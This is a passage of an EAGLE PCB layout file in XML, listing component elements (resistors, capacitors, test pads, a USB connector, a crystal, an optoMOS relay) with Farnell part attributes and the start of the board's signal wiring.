display=\"off\"/>\n<attribute name=\"NAME\" x=\"37.789\" y=\"7.811\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"37.789\" y=\"5.132\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"37.1\" y=\"6\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"R40\" library=\"resistor\" package=\"R0603\" value=\"100K\" x=\"34.6\" y=\"1.4\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"34.6\" y=\"1.4\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"34.6\" y=\"1.4\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"34.6\" y=\"1.4\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"9330402\" x=\"34.6\" y=\"1.4\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"34.6\" y=\"1.4\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"34.6\" y=\"1.4\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"35.689\" y=\"4.111\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"35.989\" y=\"2.932\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"34.6\" y=\"1.4\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"R41\" library=\"resistor\" package=\"R0603\" value=\"100K\" x=\"30.3\" y=\"8.5\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"30.3\" y=\"8.5\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"30.3\" y=\"8.5\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"30.3\" y=\"8.5\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"9330402\" x=\"30.3\" y=\"8.5\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"30.3\" y=\"8.5\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"30.3\" y=\"8.5\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"31.389\" y=\"10.011\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"31.989\" y=\"7.832\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"30.3\" y=\"8.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"TP43\" library=\"testpad\" package=\"TP20R\" value=\"LC_COIL\" x=\"7.1\" y=\"6.4\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"9.64\" y=\"6.4\" size=\"1\" layer=\"38\" rot=\"MR270\"/>\n<attribute name=\"NAME\" x=\"8.4\" y=\"8.05\" size=\"0.8128\" layer=\"26\" ratio=\"15\" rot=\"MR180\"/>\n<attribute name=\"VALUE\" x=\"8.438\" y=\"6.916\" size=\"0.8128\" layer=\"28\" ratio=\"15\" rot=\"MR180\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"7.1\" y=\"6.4\" size=\"1.778\" layer=\"28\" rot=\"MR270\" display=\"off\"/>\n</element>\n<element name=\"TP44\" library=\"testpad\" package=\"TP20R\" value=\"LC+\" x=\"26.6\" y=\"7.3\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"29.14\" y=\"7.3\" size=\"1\" layer=\"38\" rot=\"MR270\"/>\n<attribute name=\"NAME\" x=\"22.4\" y=\"8.95\" size=\"0.8128\" layer=\"26\" ratio=\"15\" rot=\"MR180\"/>\n<attribute name=\"VALUE\" x=\"22.838\" y=\"7.616\" size=\"0.8128\" layer=\"28\" ratio=\"15\" rot=\"MR180\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"26.6\" y=\"7.3\" size=\"1.778\" layer=\"28\" rot=\"MR270\" display=\"off\"/>\n</element>\n<element name=\"TP45\" library=\"testpad\" package=\"TP20R\" value=\"LC-\" x=\"40.2\" y=\"2\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"42.74\" y=\"2\" size=\"1\" layer=\"38\" rot=\"MR270\"/>\n<attribute name=\"NAME\" x=\"41.2\" y=\"3.55\" size=\"0.8128\" layer=\"26\" ratio=\"15\" rot=\"MR180\"/>\n<attribute name=\"VALUE\" x=\"41.538\" y=\"2.316\" size=\"0.8128\" layer=\"28\" ratio=\"15\" rot=\"MR180\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"40.2\" y=\"2\" size=\"1.778\" layer=\"28\" rot=\"MR270\" display=\"off\"/>\n</element>\n<element name=\"TP46\" library=\"testpad\" package=\"TP20R\" value=\"LCOUT\" x=\"33.6\" y=\"2\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"36.14\" y=\"2\" size=\"1\" layer=\"38\" rot=\"MR270\"/>\n<attribute name=\"NAME\" x=\"31.5\" y=\"4.05\" size=\"0.8128\" layer=\"26\" ratio=\"15\" rot=\"MR180\"/>\n<attribute name=\"VALUE\" x=\"29.238\" y=\"1.516\" size=\"0.8128\" layer=\"28\" ratio=\"15\" rot=\"MR180\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"33.6\" y=\"2\" size=\"1.778\" layer=\"28\" rot=\"MR270\" display=\"off\"/>\n</element>\n<element name=\"U$2\" library=\"1FAB\" package=\"USB_MINI_B_FARN1125348\" value=\"USB_MINI_B_FARN1125348\" x=\"103.8\" y=\"54.7\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"FARNELL\" value=\"1125348\" x=\"103.8\" y=\"54.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"X2\" library=\"crystal\" package=\"TC38H\" value=\"32.768KHZ\" x=\"73.8\" y=\"59.7\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"OC_NEWARK\" value=\"unknown\" x=\"73.8\" y=\"59.7\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"MPN\" value=\"\" x=\"73.8\" y=\"59.7\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"MF\" value=\"\" x=\"73.8\" y=\"59.7\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"OC_FARNELL\" value=\"unknown\" x=\"73.8\" y=\"59.7\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"75.832\" y=\"61.605\" size=\"0.8128\" layer=\"25\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"75.832\" y=\"56.525\" size=\"1.27\" layer=\"27\" ratio=\"10\"/>\n<attribute name=\"XFARNELL\" value=\"1611828\" x=\"73.8\" y=\"59.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"73.8\" y=\"59.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"C34\" library=\"resistor\" package=\"C0603\" value=\"12pF\" x=\"70.9\" y=\"62.1\" smashed=\"yes\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"70.9\" y=\"62.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"70.9\" y=\"62.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"1907285\" x=\"70.9\" y=\"62.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"70.9\" y=\"62.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"70.9\" y=\"62.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"70.011\" y=\"62.862\" size=\"0.8128\" layer=\"25\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"69.111\" y=\"60.568\" size=\"0.8128\" layer=\"27\" ratio=\"15\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"70.9\" y=\"62.1\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"C35\" library=\"resistor\" package=\"C0603\" value=\"12pF\" x=\"71.3\" y=\"58.3\" smashed=\"yes\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"71.3\" y=\"58.3\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"71.3\" y=\"58.3\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"1907285\" x=\"71.3\" y=\"58.3\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"71.3\" y=\"58.3\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"71.3\" y=\"58.3\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"70.411\" y=\"59.062\" size=\"0.8128\" layer=\"25\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"69.411\" y=\"56.768\" size=\"0.8128\" layer=\"27\" ratio=\"15\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"71.3\" y=\"58.3\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"OPTO_MOS3\" library=\"1FAB\" package=\"CPC1008N\" value=\"CPC1008N\" x=\"24.4\" y=\"2.3\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"20.935\" y=\"2.37\" size=\"0.8128\" layer=\"21\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"21.4\" y=\"1.455\" size=\"0.8128\" layer=\"21\" ratio=\"15\"/>\n<attribute name=\"XFARNELL\" value=\"1653755\" x=\"24.4\" y=\"2.3\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"24.4\" y=\"2.3\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"R42\" library=\"resistor\" package=\"R0603\" value=\"330\" x=\"30.1\" y=\"1\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"30.1\" y=\"1\" size=\"3.5\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"30.1\" y=\"1\" size=\"3.5\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"9332014\" x=\"30.1\" y=\"1\" size=\"3.5\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"30.1\" y=\"1\" size=\"3.5\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"30.1\" y=\"1\" size=\"3.5\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"30.989\" y=\"3.511\" size=\"0.8128\" layer=\"25\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"30.989\" y=\"2.532\" size=\"0.8128\" layer=\"27\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"30.1\" y=\"1\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"C36\" library=\"resistor\" package=\"C0603\" value=\"1nF\" x=\"19\" y=\"5.6\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"19\" y=\"5.6\" size=\"3.5\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"19\" y=\"5.6\" size=\"3.5\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"19\" y=\"5.6\" size=\"3.5\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"1414606\" x=\"19\" y=\"5.6\" size=\"3.5\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"19\" y=\"5.6\" size=\"3.5\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"19\" y=\"5.6\" size=\"3.5\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"18.238\" y=\"4.711\" size=\"0.8128\" layer=\"25\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"20.432\" y=\"4.611\" size=\"0.8128\" layer=\"27\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"19\" y=\"5.6\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"L1\" library=\"SparkFun17-11-11\" package=\"0603\" value=\"\" x=\"19.1\" y=\"2\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"18.338\" y=\"1.111\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"20.243\" y=\"0.984\" size=\"0.4064\" layer=\"27\" font=\"vector\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"19.1\" y=\"2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"JP2\" library=\"SparkFun 26-2-11\" package=\"1X02_LOCK_LONGPADS\" value=\"\" x=\"15.7\" y=\"3\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"15.7\" y=\"3\" size=\"3.5\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"15.7\" y=\"3\" size=\"3.5\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"15.7\" y=\"3\" size=\"3.5\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"15.7\" y=\"3\" size=\"3.5\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"15.7\" y=\"3\" size=\"3.5\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"15.7\" y=\"3\" size=\"3.5\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"15.77\" y=\"1.022\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"16.97\" y=\"6.302\" size=\"1.27\" layer=\"27\" font=\"vector\" rot=\"R180\"/>\n</element>\n<element name=\"JP12\" library=\"1FAB\" package=\"1X01\" value=\"\" x=\"34.7\" y=\"26.1\" smashed=\"yes\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"34.7\" y=\"26.1\" size=\"0.8128\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"34.7\" y=\"26.1\" size=\"0.8128\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"34.7\" y=\"26.1\" size=\"0.8128\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"34.7\" y=\"26.1\" size=\"0.8128\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"34.7\" y=\"26.1\" size=\"0.8128\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"33.3538\" y=\"27.9288\" size=\"0.8128\" layer=\"25\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"33.43\" y=\"22.925\" size=\"1.27\" layer=\"27\"/>\n</element>\n<element name=\"TP11\" library=\"testpad\" package=\"TP20R\" value=\"LC_CAL\" x=\"25.2\" y=\"2.6\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"25.2\" y=\"0.06\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"24\" y=\"3.75\" size=\"0.8128\" layer=\"26\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"23.762\" y=\"2.384\" size=\"0.8128\" layer=\"28\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"25.2\" y=\"2.6\" size=\"0.8\" layer=\"28\" ratio=\"15\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"R43\" library=\"resistor\" package=\"R0603\" value=\"0R\" x=\"90\" y=\"29.1\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"90\" y=\"29.1\" size=\"0.8\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"90\" y=\"29.1\" size=\"0.8\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"90\" y=\"29.1\" size=\"0.8\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"1799375 \" x=\"90\" y=\"29.1\" size=\"0.8\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"90\" y=\"29.1\" size=\"0.8\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"90\" y=\"29.1\" size=\"0.8\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"89.211\" y=\"25.611\" size=\"0.8128\" layer=\"25\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"90.432\" y=\"26.211\" size=\"0.8128\" layer=\"27\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"90\" y=\"29.1\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"R44\" library=\"resistor\" package=\"R0603\" value=\"0R\" x=\"93.5\" y=\"29.1\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"93.5\" y=\"29.1\" size=\"0.8\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"93.5\" y=\"29.1\" size=\"0.8\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"93.5\" y=\"29.1\" size=\"0.8\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"1799375 \" x=\"93.5\" y=\"29.1\" size=\"0.8\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"93.5\" y=\"29.1\" size=\"0.8\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"93.5\" y=\"29.1\" size=\"0.8\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"93.011\" y=\"25.611\" size=\"0.8128\" layer=\"25\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"94.032\" y=\"26.211\" size=\"0.8128\" layer=\"27\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"93.5\" y=\"29.1\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"TP1\" library=\"testpad\" package=\"TP20R\" value=\"DOWNS_ORIN1\" x=\"110\" y=\"17.7\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"110\" y=\"15.16\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"110\" y=\"17.7\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"111\" y=\"18.75\" size=\"0.8128\" layer=\"26\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"110.762\" y=\"16.684\" size=\"0.8128\" layer=\"28\" ratio=\"15\" rot=\"MR0\"/>\n</element>\n<element name=\"TP18\" library=\"testpad\" package=\"TP20R\" value=\"DOWNS_ORIN1\" x=\"103.2\" y=\"73.3\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"103.2\" y=\"70.76\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"103.2\" y=\"73.3\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"106.9\" y=\"73.95\" size=\"0.8128\" layer=\"26\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"103.962\" y=\"72.284\" size=\"0.8128\" layer=\"28\" ratio=\"15\" rot=\"MR0\"/>\n</element>\n<element name=\"TP47\" library=\"testpad\" package=\"TP20R\" value=\"PEG4\" x=\"3.6\" y=\"2\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"3.6\" y=\"-0.54\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"3.6\" y=\"2\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"TP48\" library=\"testpad\" package=\"TP20R\" value=\"PEG1\" x=\"107.5\" y=\"2.7\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"107.5\" y=\"0.16\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"107.5\" y=\"2.7\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"TP49\" library=\"testpad\" package=\"TP20R\" value=\"PEG3\" x=\"2.8\" y=\"72.5\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"2.8\" y=\"69.96\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"2.8\" y=\"72.5\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"TP50\" library=\"testpad\" package=\"TP20R\" value=\"PEG2\" x=\"109.2\" y=\"72.4\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"109.2\" y=\"69.86\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"109.2\" y=\"72.4\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"R45\" library=\"resistor\" package=\"R0603\" value=\"12K\" x=\"38\" y=\"27\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"38\" y=\"27\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"38\" y=\"27\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"38\" y=\"27\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"1652834\" x=\"38\" y=\"27\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"38\" y=\"27\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"38\" y=\"27\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"38.889\" y=\"26.111\" size=\"0.8128\" layer=\"25\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"38.889\" y=\"29.032\" size=\"0.8128\" layer=\"27\" ratio=\"15\" rot=\"R180\"/>\n</element>\n<element name=\"J2\" library=\"SparkFun-Passives\" package=\"SJ_2S-TRACE\" value=\"CUT TO USE FIXED R OR TRIM POT\" x=\"81.5\" y=\"7.4\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"81.8525\" y=\"5.93\" size=\"0.8128\" layer=\"25\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"83.251\" y=\"2.9475\" size=\"0.4064\" layer=\"27\" rot=\"R90\"/>\n</element>\n<element name=\"J3\" library=\"SparkFun-Passives\" package=\"SJ_2S-TRACE\" value=\"CUT TO USE FIXED R OR TRIM POT\" x=\"51.7\" y=\"7.1\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"52.5525\" y=\"5.63\" size=\"0.8128\" layer=\"25\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"53.651\" y=\"2.2475\" size=\"0.4064\" layer=\"27\" rot=\"R90\"/>\n</element>\n<element name=\"J4\" library=\"SparkFun-Passives\" package=\"SJ_2S-TRACE\" value=\"\" x=\"33.6\" y=\"10.9\" rot=\"R180\"/>\n</elements>\n<signals>\n<signal name=\"VDIVBIAS\">\n<contactref element=\"C1\" pad=\"1\"/>\n<contactref element=\"R8\" pad=\"2\"/>\n<contactref element=\"R1\" pad=\"1\"/>\n<wire x1=\"42.9\" y1=\"17.9\" x2=\"38\" y2=\"17.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"38\" y1=\"17.9\" x2=\"37.97\" y2=\"17.85\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"42.9\" y1=\"17.9\" x2=\"42.96\" y2=\"17.85\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"R10\" pad=\"1\"/>\n<wire x1=\"42.96\" y1=\"21.95\" x2=\"42.96\" y2=\"17.85\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"37.97\" y1=\"21.95\" x2=\"37.97\" y2=\"17.85\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"GND\" class=\"1\">\n<contactref element=\"C4\" pad=\"2\"/>\n<contactref element=\"C8\" 